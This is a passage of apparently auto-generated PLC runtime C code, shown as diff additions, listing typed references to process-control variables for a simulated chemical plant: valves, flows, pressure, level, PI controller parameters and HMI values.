+{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.SUB45_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.MUL46_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.ADD42_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.COMPOSITION_CONTROL0.LIMIT44_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED0.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_FLOW), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.A_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.B_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.C_IN_PURGE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRODUCT_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PURGE_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F1_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.F2_VALVE_SAFE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS_NOMINAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.VALVE_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL5.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL4.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB57_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.MUL60_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.SUB53_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_CONTROL0.LIMIT55_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.HMI_PRESSURE), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_LEVEL), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F1_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_F2_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PURGE_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_VALVE_POS), INT_ENUM}, +{&(RES0__INSTANCE0.HMI_PRODUCT_FLOW), INT_ENUM}, +{&(RES0__INSTANCE0.SCAN_COUNT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED1.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED2.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED3.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED4.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED5.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED6.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED7.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED8.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.INPUT_UINT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.OUTPUT_INT), INT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.DIV3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.ABS8_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.SCALE_TO_SIGNED9.UINT_TO_INT9_OUT), INT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CURR_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SP_UPDATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP_NOMINL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRODUCT_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_K), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.OVERRIDE_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL7.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.PRESSURE_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.FLOW_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.SUB86_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL87_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MAX84_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.ADD85_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.LIMIT67_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.DIV73_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.MUL75_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.PRESSURE_OVERRIDE0.REAL_TO_UINT79_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIQUID_LEVEL), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CURR_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.NEW_POS), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.CYCLE_TIME), TIME_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_K), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_TI), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL0.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LEVEL_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.POS_UPDATE_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SP_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL1.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, 